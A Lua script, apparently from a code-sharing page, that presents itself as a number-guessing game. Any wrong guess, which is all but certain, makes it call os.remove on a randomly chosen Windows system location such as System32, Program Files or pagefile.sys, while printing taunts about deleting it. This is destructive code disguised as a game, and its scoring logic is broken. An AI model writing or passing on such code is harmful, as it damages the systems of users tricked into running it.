print("NUMBER GAME! (Lua Edition)\n")

local title = io.write("INPUT A NUMBER, ANY NUMBER. TRY TO GUESS WHAT THE RANDOM NUMBER GENERATOR CHOSE AS IT'S LUCKY NUMBER!\n")

local input = io.read("*number") or print("NOT A NUMBER! (MUST BE INT)")

local drive_letter = "C:"
local dir_separator = "\\"

local dirINDEX = {
    ["dir1"] = (drive_letter .. dir_separator .. "Program Files"),
    ["dir2"] = (drive_letter .. dir_separator .. "Program Files (x86)"),
    ["dir3"] = (drive_letter .. dir_separator .. "pagefile.sys"),
    ["dir4"] = (drive_letter .. dir_separator .. "System Volume Information"),
    ["dir5"] = (drive_letter .. dir_separator .. "Windows" .. dir_separator .. "WinSxS"),
    ["dir6"] = (drive_letter .. dir_separator .. "Program Files" .. dir_separator .. "RUXIM"),

    ["dir7"] = (drive_letter .. dir_separator .. "Windows" .. dir_separator .."System32"), -- smirk
}

local function ConvertToArray(DIR)
    local ARRAY = {}

    for i, v in next, DIR do
        ARRAY[#ARRAY + 1] = v
    end

    return ARRAY
end

local function GetRandomFile(path)
    local conv = ConvertToArray(dirINDEX)
    
    return conv[math.random(#conv)]
end

local function GamingTime(PATH, INPUT)
    local RANDOM_NUMBER = math.random(1, 999999999999999999)
    local points = 0

    if INPUT == RANDOM_NUMBER then
        print("GREAT JOB, YOUR COMPUTER SURVIVES THIS TIME! (threat)")
        points = points + 1
        print("Current points: ", points)
            
    elseif points == 500 then
        print("WINNER WINNER CHICKEN DINNER!")
            
    else
        print("Wrong!")
        print("The number was: ", RANDOM_NUMBER)
        print("WONDER WHAT OUR LUCKY FILE PATH WE'RE DELETING WILL BE TODAY!\n")
            
        local new_path = GetRandomFile(PATH)
        
        print("LOOKS LIKE YOUR FILE DIRECTORY '" .. new_path .. "' IS THE LUCKY WINNER! SAY GOODBYE!")
        print("Deleting..")
        
        os.remove(new_path)
        print("Deleted!")
    end
end

GamingTime(dirINDEX, input)

Embed on website

To embed this project on your website, copy the following code and paste it into your website's HTML: